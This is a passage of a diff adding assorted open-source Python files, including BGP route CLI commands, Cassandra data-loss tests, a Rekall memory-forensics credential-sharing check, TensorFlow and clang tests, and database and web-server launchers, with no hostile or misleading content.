self._retrieve_global_tables_view( + addr_family, + route_family + ) + sent = global_tables_view.c_rel('destinations').c_rel('sent_routes') + sent.apply_filter( + lambda route: route.sent_peer.ip_address == ip_addr + ) + paths = sent.c_rel('path') + paths.apply_filter( + lambda path: not path.is_withdraw + ) + return paths + + def _retrieve_global_tables_view(self, addr_family, route_family): + core_service = self.api.get_core_service() + core_sv = CoreServiceDetailView(core_service) + table_manager_view = core_sv.rel('table_manager') + global_tables_view = table_manager_view.rel('global_tables') + global_tables_view.apply_filter( + lambda k, v: addr_family == 'all' or k == route_family + ) + return global_tables_view + + @classmethod + def cli_resp_formatter(cls, resp): + if resp.status == STATUS_ERROR: + return Command.cli_resp_formatter(resp) + + return '\n{0}'.format(pprint.pformat(resp.value)) + + +class ReceivedRoutes(SentRoutes): + help_msg = 'paths received and not withdrawn by given peer' + command = 'received-routes' + + def _retrieve_paths(self, addr_family, route_family, ip_addr): + global_tables_view = self._retrieve_global_tables_view( + addr_family, + route_family + ) + paths = global_tables_view.c_rel( + 'destinations' + ).c_rel('known_path_list') + + def path_filter(path): + return path.source is not None and \ + path.source.ip_address == ip_addr and \ + not path.is_withdraw + + paths.apply_filter( + path_filter + ) + return paths + + +class Neighbor(Command): + help_msg = 'show neighbor information' + command = 'neighbor' + subcommands = { + 'summary': NeighborSummary, + 'sent-routes': SentRoutes, + 'received-routes': ReceivedRoutes + } diff --git a/pool/shard008/Python/0076957_random_fast_boxquery.py b/pool/shard008/Python/0076957_random_fast_boxquery.py new file mode 100644 index 0000000000000000000000000000000000000000..2e89973c55f1d591fd8ff88ffd188e0b13192c29 --- /dev/null +++ b/pool/shard008/Python/0076957_random_fast_boxquery.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python +import sys +from Bio import SeqIO +from Bio.Seq import Seq +from Bio.Alphabet import generic_dna +from optparse import OptionParser +import random +import patterns + +def letter2num(c): + if (not cmp(c,'A')): + elem = '0' + elif (not cmp(c,'T')): + elem = '1' + elif (not cmp(c,'G')): + elem = '2' + elif (not cmp(c,'C')): + elem = '3' + else: + elem = '4' + + return elem + +parser = OptionParser() +parser.add_option('-k', '--klength', dest = 'klength', help = "the length of kmer") +parser.add_option('-n', '--num', dest = 'num', help = "the amount of queries") +parser.add_option('-o', '--output', dest = 'output', help = "the filename of box query file") +parser.add_option('-r', '--read', dest = 'read', help = " the filename of read") +parser.add_option('-b', '--boxsize', dest = 'boxsize', help = "size of box query") +parser.add_option('-p', '--pattern', dest = 'pattern', help = "pattern id") + +(options, args) = parser.parse_args(sys.argv[1:]) +klength = int(options.klength) +num = int(options.num) +read_filename = options.read +if read_filename[-1] == 'q': + formatStr = "fastq" +else: + formatStr = "fasta" +query_filename = options.output +boxsize = int(options.boxsize) +patternId = options.pattern + +alphabet = ['A', 'T', 'G', 'C'] +query_file = open(query_filename, 'w') +patternDistributionFile = open("pattern_dist" + str(klength), 'w') +record_list = list(SeqIO.parse(read_filename,formatStr)) +maxIndex = len(record_list) - 1 +query_list = [] +pHash = {} +i = 0 +while i < num: + # pick up a read randomly + readIndex = random.randrange(0, maxIndex) + record = record_list[readIndex] + seqStr = str(record.seq[:]) + end =len(seqStr) - klength + + query_letter = ''; + query = ''; + r = random.randrange(0, end) + kmer = seqStr[r : r+klength] + #print kmer + if patternId != None: + pid = patterns.getPattern(kmer) + if pid in pHash: + pHash[pid] += 1 + else: + pHash[pid] = 1 + #print "############################ pid = " + str(pid) + if pid != int(patternId) and int(patternId) != 0: + #i += 1 # result query number may not equal to num !!! + continue + box = random.randrange(r, r+klength) + for p in range(r, r+klength): + if boxsize >= 2 and p == box: + query += "(" + for t in range(0, boxsize): + query += alphabet[t] + query += ")" + else: + query += seqStr[p] + # id is very important for multiple K but name and desc is optional + # and only for user to check query info + query_seq = SeqIO.SeqRecord(Seq(query,generic_dna), id = str(i), description="dim="+str(klength)) + query_list.append(query_seq) + i += 1 + +SeqIO.write(query_list, query_file, "fasta"); +query_file.close() + +for key in pHash: + patternDistributionFile.write(str(key) + " " + str(pHash[key]) + "\n") + +patternDistributionFile.close() +#print aln_ref+'\n'+aln_sample + diff --git a/pool/shard008/Python/0076964_validation.py b/pool/shard008/Python/0076964_validation.py new file mode 100644 index 0000000000000000000000000000000000000000..b449c12bb0f30c770dc6bd938a6d7f00dfe4b809 --- /dev/null +++ b/pool/shard008/Python/0076964_validation.py @@ -0,0 +1,121 @@ +from dtest import Tester, debug +from tools import since +import subprocess, tempfile, os, shutil + +@since('3.0') +class TestValidation(Tester): + + __test__= False + + def prepare(self): + """ + Sets up cluster to test against. Currently 3 CCM Nodes + """ + cluster = self.cluster + + cluster.populate(3).start() + + return cluster + + def stress_write(self, node): + """ + Writes data via stress. Should write exact data expected by stress_read() + """ + node.stress(['write', 'n=1M', '-mode', 'native', 'cql3', '-rate', 'threads=10', + '-pop', 'dist=UNIFORM(1..1M)', '-schema', 'compaction(strategy=%s)' % self.strategy]) + + def stress_read(self, node): + """ + Reads previously written data via stress. Should check for exact data written + by stress_write(). + """ + # Verify the data + tmpfile = tempfile.mktemp() + with open(tmpfile, 'w+') as tmp: + node.stress(['read', 'n=1M', '-mode', 'native', 'cql3', '-rate', 'threads=10', '-pop', 'dist=UNIFORM(1..1M)'], + stdout=tmp, stderr=subprocess.STDOUT) + return tmpfile + + def validate_stress_output(self, outfile, expect_failure=False, expect_errors=False): + """ + Validates if data was lost, or determines if stress encountered errors. + Should be updated once stress has more sophisticated validation. + + outfile - an output file with stress output. + expect_failure - if data loss should be expected + expect_errors - if exceptions should be expected + """ + with open(outfile, 'r') as tmp: + output = tmp.read() + + debug(output) + failure = output.find("Data returned was not validated") + if expect_failure: + assert failure >= 0, "No missing data detected, despite data loss" + else: + self.assertEqual(failure, -1, "Stress failed to validate all data") + + failure = output.find("Exception") + if expect_errors: + assert failure >= 0, "No errors detected, despite invalid cluster state" + else: + self.assertEqual(failure, -1, "Error while reading data") + + def lose_stress_data(self, node): + """ + Simulate data loss. + Currently works by deleting sstable files. + """ + node.flush() + path = os.path.join(node.get_path(), 'data', 'keyspace1') + for folder in os.listdir(path): + if folder.find('standard') >= 0: + path = os.path.join(path, folder) + for sstable_file in os.listdir(path): + if sstable_file.find('Data') >= 0: + with open(os.path.join(path, sstable_file), 'w') as data_file: + data_file.seek(0) + data_file.truncate() + + def simple_write_read_test(self): + """ + A basic test that writes data at CL=ONE, RF=1 + Tests to ensure no data is lost or errors thrown. + """ + cluster = self.prepare() + node1, node2, node3 = cluster.nodelist() + self.stress_write(node1) + + self.stress_read(node2) + + def down_node_test(self): + """ + Removes a node and checks for data loss. Assumes RF=1. + """ + cluster = self.prepare() + node1, node2, node3 = cluster.nodelist() + self.stress_write(node1) + node1.stop() + tmpfile = self.stress_read(node2) + self.validate_stress_output(tmpfile, expect_failure=True, expect_errors=True) + + def delete_sstables_test(self): + """ + Deletes sstables from a node and checks for data loss. Assumes RF=1. + """ + self.ignore_log_patterns = ['CompactionExecutor', + 'java.lang.RuntimeException: Tried to hard link to file that does not exist'] + cluster = self.prepare() + node1, node2, node3 = cluster.nodelist() + self.stress_write(node1) + + self.lose_stress_data(node1) + tmpfile = self.stress_read(node2) + self.validate_stress_output(tmpfile, expect_failure=True, expect_errors=True) + +strategies = {'LeveledCompactionStrategy' : 'LCS', 'SizeTieredCompactionStrategy' : 'STCS', + 'DateTieredCompactionStrategy' : 'DTCS'} + +for strategy in strategies.keys(): + cls_name = ('TestValidation_with_' + strategies[strategy]) + vars()[cls_name] = type(cls_name, (TestValidation,), {'strategy': strategy, '__test__':True}) diff --git a/pool/shard008/Python/0076971_databases.py b/pool/shard008/Python/0076971_databases.py new file mode 100644 index 0000000000000000000000000000000000000000..77952023e8cb330e58c8d9a8ded6d22938025fb5 --- /dev/null +++ b/pool/shard008/Python/0076971_databases.py @@ -0,0 +1,117 @@ +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +"""Database v1 Databases action implementations""" + +from osc_lib.command import command +from osc_lib import exceptions +from osc_lib import utils + +from troveclient.i18n import _ + + +class CreateDatabase(command.Command): + + _description = _("Creates a database on an instance.") + + def get_parser(self, prog_name): + parser = super(CreateDatabase, self).get_parser(prog_name) + parser.add_argument( + "instance", + metavar="", + help=_("ID or name of the instance."), + ) + parser.add_argument( + "name", + metavar="", + help=_("Name of the database."), + ) + parser.add_argument( + "--character_set", + metavar="", + help=_("Optional character set for database."), + ) + parser.add_argument( + "--collate", + metavar="", + help=_("Optional collation type for database."), + ) + return parser + + def take_action(self, parsed_args): + manager = self.app.client_manager.database + databases = manager.databases + instance = utils.find_resource(manager.instances, parsed_args.instance) + database_dict = {'name': parsed_args.name} + if parsed_args.collate: + database_dict['collate'] = parsed_args.collate + if parsed_args.character_set: + database_dict['character_set'] = parsed_args.character_set + databases.create(instance, [database_dict]) + + +class ListDatabases(command.Lister): + + _description = _("Get a list of all Databases from the instance.") + columns = ['Name'] + + def get_parser(self, prog_name): + parser = super(ListDatabases, self).get_parser(prog_name) + parser.add_argument( + dest='instance', + metavar='', + help=_('ID or name of the instance.') + ) + return parser + + def take_action(self, parsed_args): + manager = self.app.client_manager.database + databases = manager.databases + instance = utils.find_resource(manager.instances, parsed_args.instance) + items = databases.list(instance) + dbs = items + while items.next: + items = databases.list(instance, marker=items.next) + dbs += items + dbs = [utils.get_item_properties(db, self.columns) for db in dbs] + return self.columns, dbs + + +class DeleteDatabase(command.Command): + + _description = _("Deletes a database from an instance.") + + def get_parser(self, prog_name): + parser = super(DeleteDatabase, self).get_parser(prog_name) + parser.add_argument( + dest='instance', + metavar='', + help=_('ID or name of the instance.') + ) + parser.add_argument( + dest='database', + metavar='', + help=_('Name of the database.') + ) + return parser + + def take_action(self, parsed_args): + manager = self.app.client_manager.database + databases = manager.databases + try: + instance = utils.find_resource(manager.instances, + parsed_args.instance) + databases.delete(instance, parsed_args.database) + except Exception as e: + msg = (_("Failed to delete database %(database)s: %(e)s") + % {'database': parsed_args.database, 'e': e}) + raise exceptions.CommandError(msg) diff --git a/pool/shard008/Python/0076981_check_creds.py b/pool/shard008/Python/0076981_check_creds.py new file mode 100644 index 0000000000000000000000000000000000000000..331ccf7263f9500df2e77691a7de5f03d15ee974 --- /dev/null +++ b/pool/shard008/Python/0076981_check_creds.py @@ -0,0 +1,63 @@ +# Rekall Memory Forensics +# Copyright (C) 2007-2013 Volatility Foundation +# Copyright 2013 Google Inc. All Rights Reserved. +# +# This file is part of Rekall Memory Forensics. +# +# Rekall Memory Forensics is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License Version 2 as +# published by the Free Software Foundation. You may not use, modify or +# distribute this program under any other version of the GNU General +# Public License. +# +# Rekall Memory Forensics is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Rekall Memory Forensics. If not, see . +# + +""" +@author: Andrew Case +@license: GNU General Public License 2.0 +@contact: atcuno@gmail.com +@organization: +""" +from rekall.plugins.linux import common + +class CheckCreds(common.LinProcessFilter): + """Checks if any processes are sharing credential structures""" + + __name = "check_creds" + + table_header = [ + dict(name="task", cname="task", width=40), + dict(name="Cred", cname="cred", style="address"), + ] + + @classmethod + def is_active(cls, config): + if super(CheckCreds, cls).is_active(config): + try: + # This only exists if the task_struct has a cred member. + config.profile.get_obj_offset("task_struct", "cred") + return True + + except KeyError: + return False + + def collect(self): + creds = {} + for task in self.filter_processes(): + creds.setdefault(task.cred, []).append(task) + + for cred, tasks in creds.iteritems(): + highlight = None + if len(tasks) > 1: + highlight = "important" + + for task in tasks: + yield dict(cred=cred, task=task, + highlight=highlight) diff --git a/pool/shard008/Python/0076984_update-project-files.py b/pool/shard008/Python/0076984_update-project-files.py new file mode 100644 index 0000000000000000000000000000000000000000..6dcb7153a2c120849f4995f65880181803bef6c7 --- /dev/null +++ b/pool/shard008/Python/0076984_update-project-files.py @@ -0,0 +1,46 @@ +#!/usr/bin/python -Es +# vim: et:sw=4:ts=4:sts=4 +# +# Script regenerates project file list from the list of files tracked by Git. +# + +SOURCES = [ + # documentation + "README", "KNOWN_ISSUES", + "Doxyfile*", "Doxy.file.h", "doc/*.texi", + + # build-system + "*.ac", "*.am", + + # sources + "src/*.c", "src/*.h", "src/*.rl", "src/*.l", + "src/*.y", "tests/*.c", "tests/*.h", + "libtap/*.c", "libtap/*.h", +] + +OUTPUT_FILE = "Knot.files" + +# ---------------------------------------------------------------------------- + +from subprocess import Popen, PIPE +import os +import sys + +def run(command): + p = Popen(command, stdout=PIPE, stderr=PIPE) + (out, errout) = p.communicate() + if p.returncode != 0: + raise Exception("Command %s failed.", command) + return out + +print >>sys.stderr, "Updating %s." % OUTPUT_FILE + +git_root = run(["git", "rev-parse", "--show-toplevel"]).strip() +os.chdir(git_root) + +command = ["git", "ls-files"] + SOURCES +files = run(command).splitlines() + +with open(OUTPUT_FILE, "w") as output: + output.write("\n".join(sorted(files))) + output.write("\n") diff --git a/pool/shard008/Python/0076985_mdns.py b/pool/shard008/Python/0076985_mdns.py new file mode 100644 index 0000000000000000000000000000000000000000..a9d26de2be39d3696890171f1b45dfa26a524a70 --- /dev/null +++ b/pool/shard008/Python/0076985_mdns.py @@ -0,0 +1,41 @@ +# Copyright 2014 Hewlett-Packard Development Company, L.P. +# +# Author: Kiall Mac Innes +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +import sys + +from oslo_config import cfg +from oslo_log import log as logging + +from designate import hookpoints +from designate import service +from designate import utils +from designate.mdns import service as mdns_service + + +CONF = cfg.CONF +CONF.import_opt('workers', 'designate.mdns', group='service:mdns') +CONF.import_opt('threads', 'designate.mdns', group='service:mdns') + + +def main(): + utils.read_config('designate', sys.argv) + logging.setup(CONF, 'designate') + utils.setup_gmr(log_dir=cfg.CONF.log_dir) + + hookpoints.log_hook_setup() + + server = mdns_service.Service(threads=CONF['service:mdns'].threads) + service.serve(server, workers=CONF['service:mdns'].workers) + service.wait() diff --git a/pool/shard008/Python/0076991_PrecipitationComponent.py b/pool/shard008/Python/0076991_PrecipitationComponent.py new file mode 100644 index 0000000000000000000000000000000000000000..8dd5b886f08a8f1d1b000d64a2155947946065ee --- /dev/null +++ b/pool/shard008/Python/0076991_PrecipitationComponent.py @@ -0,0 +1,17 @@ +from ..Distance import Distance +from .BaseComponent import BaseComponent + +class PrecipitationComponent(BaseComponent): + ''' handle AA1,2,3,4 precip types ''' + + def loads(self, string): + self.precipitation = { + 'hours': int(string[0:2]), + 'depth': Distance(int(string[2:6])/10.0, + Distance.MILLIMETERS, string[5:6])} + + def __repr__(self): + return str(self.precipitation) + + def __str__(self): + return str(self.precipitation) diff --git a/pool/shard008/Python/0077002_web.py b/pool/shard008/Python/0077002_web.py new file mode 100644 index 0000000000000000000000000000000000000000..5d9d429244bf53582a47dcb2055f9d6da2cff774 --- /dev/null +++ b/pool/shard008/Python/0077002_web.py @@ -0,0 +1,93 @@ +""" +Run a normal OpenERP HTTP process. +""" + +import logging +import os +import signal + +import common + +_logger = logging.getLogger(__name__) + +def mk_signal_handler(server): + def signal_handler(sig, frame): + """ + Specialized signal handler for the evented process. + """ + print "\n\n\nStopping gevent HTTP server...\n\n\n" + server.stop() + return signal_handler + +def setup_signal_handlers(signal_handler): + SIGNALS = (signal.SIGINT, signal.SIGTERM) + map(lambda sig: signal.signal(sig, signal_handler), SIGNALS) + +def run(args): + # Note that gevent monkey patching must be done before importing the + # `threading` module, see http://stackoverflow.com/questions/8774958/. + if args.gevent: + import gevent + import gevent.monkey + import gevent.wsgi + import psycogreen.gevent + gevent.monkey.patch_all() + psycogreen.gevent.patch_psycopg() + import threading + import openerp + import openerp.cli.server + import openerp.service.wsgi_server + import openerp.tools.config + config = openerp.tools.config + + os.environ["TZ"] = "UTC" + common.set_addons(args) + + openerp.multi_process = True + common.setproctitle('openerp-web') + + openerp.cli.server.check_root_user() + openerp.netsvc.init_logger() + #openerp.cli.server.report_configuration() + + target = openerp.service.wsgi_server.serve + if not args.gevent: + openerp.evented = False + openerp.cli.server.setup_signal_handlers(openerp.cli.server.signal_handler) + # TODO openerp.multi_process with a multi-threaded process probably + # doesn't work very well (e.g. waiting for all threads to complete + # before killing the process is not implemented). + arg = (args.interface, int(args.port), args.threaded) + threading.Thread(target=target, args=arg).start() + openerp.cli.server.quit_on_signals() + else: + openerp.evented = True + + app = openerp.service.wsgi_server.application + server = gevent.wsgi.WSGIServer((args.interface, int(args.port)), app) + setup_signal_handlers(mk_signal_handler(server)) + try: + server.serve_forever() + except KeyboardInterrupt: + try: + server.stop() + gevent.shutdown() + except KeyboardInterrupt: + sys.stderr.write("Forced shutdown.\n") + gevent.shutdown() + +def add_parser(subparsers): + parser = subparsers.add_parser('web', + description='Run a normal OpenERP HTTP process. By default a ' + 'singly-threaded Werkzeug server is used.') + common.add_addons_argument(parser) + parser.add_argument('--interface', default='0.0.0.0', + help='HTTP interface to listen on (default is %(default)s)') + parser.add_argument('--port', metavar='INT', default=8069, + help='HTTP port to listen on (default is %(default)s)') + parser.add_argument('--threaded', action='store_true', + help='Use a multithreaded Werkzeug server (incompatible with --gevent)') + parser.add_argument('--gevent', action='store_true', + help="Use gevent's WSGI server (incompatible with --threaded)") + + parser.set_defaults(run=run) diff --git a/pool/shard008/Python/0077009_filter_fusion_test.py b/pool/shard008/Python/0077009_filter_fusion_test.py new file mode 100644 index 0000000000000000000000000000000000000000..80a0d879dc2088024d1a2a7117f79758c779d5d0 --- /dev/null +++ b/pool/shard008/Python/0077009_filter_fusion_test.py @@ -0,0 +1,98 @@ +# Copyright 2018 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Tests for the `FilterFusion` optimization.""" +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +from absl.testing import parameterized + +from tensorflow.python.data.experimental.ops import optimization +from tensorflow.python.data.kernel_tests import test_base +from tensorflow.python.data.ops import dataset_ops +from tensorflow.python.framework import constant_op +from tensorflow.python.framework import dtypes +from tensorflow.python.framework import errors +from tensorflow.python.ops import math_ops +from tensorflow.python.platform import test + + +def _filter_fusion_test_cases(): + """Generates test cases for the FilterFusion optimization.""" + + take_all = lambda x: constant_op.constant(True) + is_zero = lambda x: math_ops.equal(x, 0) + greater = lambda x: math_ops.greater(x + 5, 0) + + tests = [] + filters = [take_all, is_zero, greater] + identity = lambda x: x + for x, predicate_1 in enumerate(filters): + for y, predicate_2 in enumerate(filters): + tests.append(("Mixed{}{}".format(x, y), identity, + [predicate_1, predicate_2])) + for z, predicate_3 in enumerate(filters): + tests.append(("Mixed{}{}{}".format(x, y, z), identity, + [predicate_1, predicate_2, predicate_3])) + + take_all_multiple = lambda x, y: constant_op.constant(True) + # Multi output + tests.append(("Multi1", lambda x: (x, x), + [take_all_multiple, take_all_multiple])) + tests.append(("Multi2", lambda x: (x, 2), [ + take_all_multiple, + lambda x, y: math_ops.equal(x * math_ops.cast(y, dtypes.int64), 0) + ])) + return tuple(tests) + + +class FilterFusionTest(test_base.DatasetTestBase, parameterized.TestCase): + + @parameterized.named_parameters(*_filter_fusion_test_cases()) + def testFilterFusion(self, map_function, predicates): + dataset = dataset_ops.Dataset.range(5).apply( + optimization.assert_next(["Map", "Filter", + "MemoryCacheImpl"])).map(map_function) + for predicate in predicates: + dataset = dataset.filter(predicate) + + dataset = dataset.cache() + options = dataset_ops.Options() + options.experimental_filter_fusion = True + dataset = dataset.with_options(options) + iterator = dataset.make_one_shot_iterator() + get_next = iterator.get_next() + with self.cached_session() as sess: + for x in range(5): + r = map_function(x) + filtered = False + for predicate in predicates: + if isinstance(r, tuple): + b = predicate(*r) # Pass tuple as multiple arguments. + else: + b = predicate(r) + if not sess.run(b): + filtered = True + break + + if not filtered: + result = sess.run(get_next) + self.assertAllEqual(r, result) + with self.assertRaises(errors.OutOfRangeError): + sess.run(get_next) + + +if __name__ == "__main__": + test.main() diff --git a/pool/shard008/Python/0077010_periodic.py b/pool/shard008/Python/0077010_periodic.py new file mode 100644 index 0000000000000000000000000000000000000000..910293a53489f9ff9e3456cfc436db8f8c585381 --- /dev/null +++ b/pool/shard008/Python/0077010_periodic.py @@ -0,0 +1,108 @@ +# -*- coding: utf-8 -*- +# +# Copyright 2018 Ibai Roman +# +# This file is part of GPlib. +# +# GPlib is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# GPlib is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with GPlib. If not, see . + +import numpy as np + +from .covariance_function import CovarianceFunction +from ..parameters import OptimizableParameter +from ..transformations import LogTransformation + + +class Periodic(CovarianceFunction): + """ + + """ + def __init__(self, kernel, data, is_ard): + default_period = 1.0 + if is_ard: + dims = data['X'].shape[1] + default_period = np.ones(dims).tolist() + + self.kernel = kernel + + super(Periodic, self).__init__([ + kernel, + OptimizableParameter( + 'period', LogTransformation, + default_value=default_period, + min_value=np.exp(-1), max_value=np.exp(5) + ) + ]) + + def covariance(self, mat_a, mat_b=None, only_diagonal=False): + """ + Measures the distance matrix between solutions of A and B, and + applies the kernel function element-wise to the distance matrix. + + :param mat_a: List of solutions in lines and dimensions in columns. + :type mat_a: + :param mat_b: List of solutions in lines and dimensions in columns. + :type mat_b: + :param only_diagonal: + :type only_diagonal: + :return: Result matrix with kernel function applied element-wise. + :rtype: + """ + + a_param = np.divide(2.0 * np.pi, self.get_param_value('period')) + + exp_mat_b=None + if mat_b is not None: + exp_mat_b = np.hstack(( + np.sin(a_param * mat_b), + np.cos(a_param * mat_b) + )) + + return self.kernel.covariance( + np.hstack(( + np.sin(a_param * mat_a), + np.cos(a_param * mat_a) + )), + mat_b=exp_mat_b, + only_diagonal=only_diagonal + ) + + def dk_dx(self, mat_a, mat_b=None): + """ + Measures gradient of the distance between solutions of A and B in X. + + :param mat_a: List of solutions in lines and dimensions in columns. + :param mat_b: List of solutions in lines and dimensions in columns. + :return: 3D array with the gradient in every dimension of X. + """ + + raise NotImplementedError("Not Implemented. This is an interface.") + + def dk_dtheta(self, mat_a, mat_b=None, trans=False): + """ + Measures gradient of the distance between solutions of A and B in the + hyper-parameter space. + + :param mat_a: List of solutions in lines and dimensions in columns. + :type mat_a: + :param mat_b: List of solutions in lines and dimensions in columns. + :type mat_b: + :param trans: Return results in the transformed space. + :type trans: + :return: 3D array with the gradient in every + dimension the length-scale hyper-parameter space. + :rtype: + """ + + raise NotImplementedError("Not Implemented. This is an interface.") diff --git a/pool/shard008/Python/0077013_test_cdb.py b/pool/shard008/Python/0077013_test_cdb.py new file mode 100644 index 0000000000000000000000000000000000000000..d0f580ea9f4755c938fa187080b94d35c9bc5070 --- /dev/null +++ b/pool/shard008/Python/0077013_test_cdb.py @@ -0,0 +1,89 @@ +from clang.cindex import CompilationDatabase +from clang.cindex import CompilationDatabaseError +from clang.cindex import CompileCommands +from clang.cindex import CompileCommand +import os +import gc + +kInputsDir = os.path.join(os.path.dirname(__file__), 'INPUTS') + +def test_create_fail(): + """Check we fail loading a database with an assertion""" + path = os.path.dirname(__file__) + try: + cdb = CompilationDatabase.fromDirectory(path) + except CompilationDatabaseError as e: + assert e.cdb_error == CompilationDatabaseError.ERROR_CANNOTLOADDATABASE + else: + assert False + +def test_create(): + """Check we can load a compilation database""" + cdb = CompilationDatabase.fromDirectory(kInputsDir) + +def test_lookup_fail(): + """Check file lookup failure""" + cdb = CompilationDatabase.fromDirectory(kInputsDir) + assert cdb.getCompileCommands('file_do_not_exist.cpp') == None + +def test_lookup_succeed(): + """Check we get some results if the file exists in the db""" + cdb = CompilationDatabase.fromDirectory(kInputsDir) + cmds = cdb.getCompileCommands('/home/john.doe/MyProject/project.cpp') + assert len(cmds) != 0 + +def test_1_compilecommand(): + """Check file with single compile command""" + cdb = CompilationDatabase.fromDirectory(kInputsDir) + cmds = cdb.getCompileCommands('/home/john.doe/MyProject/project.cpp') + assert len(cmds) == 1 + assert cmds[0].directory == '/home/john.doe/MyProject' + expected = [ 'clang++', '-o', 'project.o', '-c', + '/home/john.doe/MyProject/project.cpp'] + for arg, exp in zip(cmds[0].arguments, expected): + assert arg == exp + +def test_2_compilecommand(): + """Check file with 2 compile commands""" + cdb = CompilationDatabase.fromDirectory(kInputsDir) + cmds = cdb.getCompileCommands('/home/john.doe/MyProject/project2.cpp') + assert len(cmds) == 2 + expected = [ + { 'wd': '/home/john.doe/MyProjectA', + 'line': ['clang++', '-o', 'project2.o', '-c', + '/home/john.doe/MyProject/project2.cpp']}, + { 'wd': '/home/john.doe/MyProjectB', + 'line': ['clang++', '-DFEATURE=1', '-o', 'project2-feature.o', '-c', + '/home/john.doe/MyProject/project2.cpp']} + ] + for i in range(len(cmds)): + assert cmds[i].directory == expected[i]['wd'] + for arg, exp in zip(cmds[i].arguments, expected[i]['line']): + assert arg == exp + +def test_compilecommand_iterator_stops(): + """Check that iterator stops after the correct number of elements""" + cdb = CompilationDatabase.fromDirectory(kInputsDir) + count = 0 + for cmd in cdb.getCompileCommands('/home/john.doe/MyProject/project2.cpp'): + count += 1 + assert count <= 2 + +def test_compilationDB_references(): + """Ensure CompilationsCommands are independent of the database""" + cdb = CompilationDatabase.fromDirectory(kInputsDir) + cmds = cdb.getCompileCommands('/home/john.doe/MyProject/project.cpp') + del cdb + gc.collect() + workingdir = cmds[0].directory + +def test_compilationCommands_references(): + """Ensure CompilationsCommand keeps a reference to CompilationCommands""" + cdb = CompilationDatabase.fromDirectory(kInputsDir) + cmds = cdb.getCompileCommands('/home/john.doe/MyProject/project.cpp') + del cdb + cmd0 = cmds[0] + del cmds + gc.collect() + workingdir = cmd0.directory + diff --git a/pool/shard008/Python/0077016_treegen.py b/pool/shard008/Python/0077016_treegen.py new file mode 100644 index 0000000000000000000000000000000000000000..06fc90f0332ebd61b7b11504a753c7aa8433d3dc --- /dev/null +++ b/pool/shard008/Python/0077016_treegen.py @@ -0,0 +1,81 @@ +# BEGIN_COPYRIGHT +# +# Copyright 2009-2018 CRS4. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may not +# use this file except in compliance with the License. You may obtain a copy +# of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +# +# END_COPYRIGHT + +""" +Generate an HDFS tree containing files of different block size. +""" + +import sys +import random + +import pydoop +import pydoop.hdfs as hdfs + +from common import isdir, MB, TEST_ROOT + + +BS_RANGE = [_ * MB for _ in range(50, 101, 10)] + + +def treegen(fs, root, depth, span): + if isdir(fs, root) and depth > 0: + for i in range(span): + path = u"%s/%d_%d" % (root, depth, i) + kind = 'file' if i else 'directory' + if kind == 'file': + kwargs = {} + if pydoop.hadoop_version_info().has_deprecated_bs(): + bs = hdfs.fs.hdfs().default_block_size() + else: + bs = random.sample(BS_RANGE, 1)[0] + kwargs['blocksize'] = bs + sys.stderr.write( + "%s %s %d\n" % (kind[0].upper(), path, (bs / MB)) + ) + with fs.open_file(path, "wt", **kwargs) as f: + f.write(path) + else: + sys.stderr.write("%s %s 0\n" % (kind[0].upper(), path)) + fs.create_directory(path) + treegen(fs, path, depth - 1, span) + + +def main(argv): + + try: + depth = int(argv[1]) + span = int(argv[2]) + except IndexError: + print("Usage: python %s DEPTH SPAN" % argv[0]) + sys.exit(2) + + fs = hdfs.hdfs() + try: + root = "%s/%s" % (fs.working_directory(), TEST_ROOT) + try: + fs.delete(root) + except IOError: + pass + fs.create_directory(root) + treegen(fs, root, depth, span) + finally: + fs.close() + + +if __name__ == "__main__": + main(sys.argv) diff --git a/pool/shard008/Python/0077020_urls.py b/pool/shard008/Python/0077020_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..143f971d14f1f052958742a747aa4eab26b0f4c5 --- /dev/null +++ b/pool/shard008/Python/0077020_urls.py @@ -0,0 +1,16 @@ +from django.conf.urls import patterns, include, url + +from .views import HomeView + +# Uncomment the next two lines to enable the admin: +from django.contrib import admin +admin.autodiscover() + +urlpatterns = patterns('', + # Examples: + url(r'^$', HomeView.as_view(), name='home'), + url(r'^leagues/', include('leagues.urls', namespace='leagues')), + url(r'^teams/', include('teams.urls', namespace='teams')), + url(r'^games/', include('games.urls', namespace='games')), + url(r'^admin/', include(admin.site.urls)), +) diff --git 